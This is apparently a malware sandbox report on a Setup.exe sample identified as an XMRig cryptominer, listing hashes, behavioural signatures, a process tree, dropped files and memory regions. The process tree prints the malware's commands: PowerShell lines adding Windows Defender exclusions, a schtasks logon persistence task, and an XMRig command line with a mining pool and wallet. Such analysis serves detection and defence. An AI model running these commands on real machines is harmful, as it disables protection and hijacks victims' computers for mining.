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Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    21/12/2024, 17:40

General

  • Target

    Setup.exe

  • Size

    29.8MB

  • MD5

    f39a0615ad5482c3ffd8f46baeac3ac3

  • SHA1

    e4cd77ab330f734e7a5253c07c559e8c92d88c35

  • SHA256

    643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

  • SHA512

    fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481

  • SSDEEP

    786432:PkvEnDem3vOYqVx9BvEiI8hXcclLOhiKw+HSD:svEn6mfN4xvcehFs7SD

Score
10/10

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2032
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4484
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2116
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2856
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1228
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:928
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1092
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:736
            • C:\Windows\system32\Microsoft\Libs\sihost64.exe
              "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2996
              • C:\Windows\System32\conhost.exe
                "C:\Windows\System32\conhost.exe" "/sihost64"
                7⤵
                  PID:1216
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=44uwibUE5EF8oiYGZWhDJ6YxTYoL8YgzyYw5ofRojJrtZydAndawV157eimKXonkgsi8ZNdvRq22xC6dmxwmq2tpQ4nTUDe --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4828

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

      Filesize

      646B

      MD5

      f1f8f1d120605ece04227ac8da444fdc

      SHA1

      ea720e5f0d4f3d245b2e5d14adca56a0308877af

      SHA256

      d8dd4ae08192be8cc92720718dd718a31e768c811bef74fff6e146cb4494e694

      SHA512

      23ba3ab5646431678e29c361d5073e6e81667903aea4c51b6e61650772b3c9d50ca86d18f6a8277c7f29a98c58892c2eb8e2caf63d1ea3953d0e32700bfea77a

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      3eb3833f769dd890afc295b977eab4b4

      SHA1

      e857649b037939602c72ad003e5d3698695f436f

      SHA256

      c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

      SHA512

      c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      60b3262c3163ee3d466199160b9ed07d

      SHA1

      994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

      SHA256

      e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

      SHA512

      081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      a98ec4362426e1e26e8bfa91203b82be

      SHA1

      19e2af11d1fec160e73efeaeca48adf210ec3dcc

      SHA256

      0a1e11c2b3be2d92039096bffca9e85827d526f69436d86faccdb5c81873b03e

      SHA512

      932e7511430d29f6c617863af336900e0ff29458704c85782c685876ae005829ada5b5fbcea454f70cbce7c9714eadbe3372b6eeab21ab9696f554da1b2e5218

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      690c2bd2f10cc1857a717259b1bac1cb

      SHA1

      431d633e63f5ea8f7551a0a1e5a0fe421527fe5d

      SHA256

      c4bd3b662c1de00edd77cd43c3a47a68f272955f6bb4a35a1548ff0f29ed04d7

      SHA512

      045e3aa227b81f3f42430aee77e63efa68d7de087ddd3ae10c855a2b6c56a9144e452109ac267715615d8a12145c6072226e75f6e8f855e9aa08a8405a8a5cd5

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ln5btq53.2q5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Windows\System32\Microsoft\Libs\sihost64.exe

      Filesize

      32KB

      MD5

      554b19e8d2cd3728ec5557c08cd2151b

      SHA1

      7f22b80a8b3a141a93735f4423fda76f914dd92c

      SHA256

      53b161d512a4cc0e7ad58be8bb5155e37399afe56cd7df38e9f0c4f09bb1cf56

      SHA512

      46103c9ffb4483107ad0f5b91aba14464747a75a058d2610714f7155e0c014b094de0fb7f40d1515a008f70763131a4b7964d739a2e4381ac38a47755f6938a0

    • C:\Windows\System32\services64.exe

      Filesize

      29.8MB

      MD5

      f39a0615ad5482c3ffd8f46baeac3ac3

      SHA1

      e4cd77ab330f734e7a5253c07c559e8c92d88c35

      SHA256

      643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

      SHA512

      fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481

    • memory/1216-83-0x000001AEFC2E0000-0x000001AEFC2E6000-memory.dmp

      Filesize

      24KB

    • memory/1216-82-0x000001AEFA7D0000-0x000001AEFA7D7000-memory.dmp

      Filesize

      28KB

    • memory/2032-4-0x000001BE18490000-0x000001BE184A2000-memory.dmp

      Filesize

      72KB

    • memory/2032-3-0x000001BE32C20000-0x000001BE349DE000-memory.dmp

      Filesize

      29.7MB

    • memory/2032-32-0x00007FFC1B280000-0x00007FFC1BD42000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-35-0x00007FFC1B280000-0x00007FFC1BD42000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-0-0x000001BE12E00000-0x000001BE14BBF000-memory.dmp

      Filesize

      29.7MB

    • memory/2032-5-0x00007FFC1B280000-0x00007FFC1BD42000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-7-0x00007FFC1B280000-0x00007FFC1BD42000-memory.dmp

      Filesize

      10.8MB

    • memory/2032-6-0x000001BE184C0000-0x000001BE184CA000-memory.dmp

      Filesize

      40KB

    • memory/2032-1-0x00007FFC1B283000-0x00007FFC1B285000-memory.dmp

      Filesize

      8KB

    • memory/2032-2-0x00007FFC1B280000-0x00007FFC1BD42000-memory.dmp

      Filesize

      10.8MB

    • memory/4780-17-0x000001F853820000-0x000001F853842000-memory.dmp

      Filesize

      136KB

    • memory/4828-64-0x0000000000E10000-0x0000000000E30000-memory.dmp

      Filesize

      128KB

    • memory/4828-69-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-68-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-67-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-66-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-65-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-61-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-63-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4828-84-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB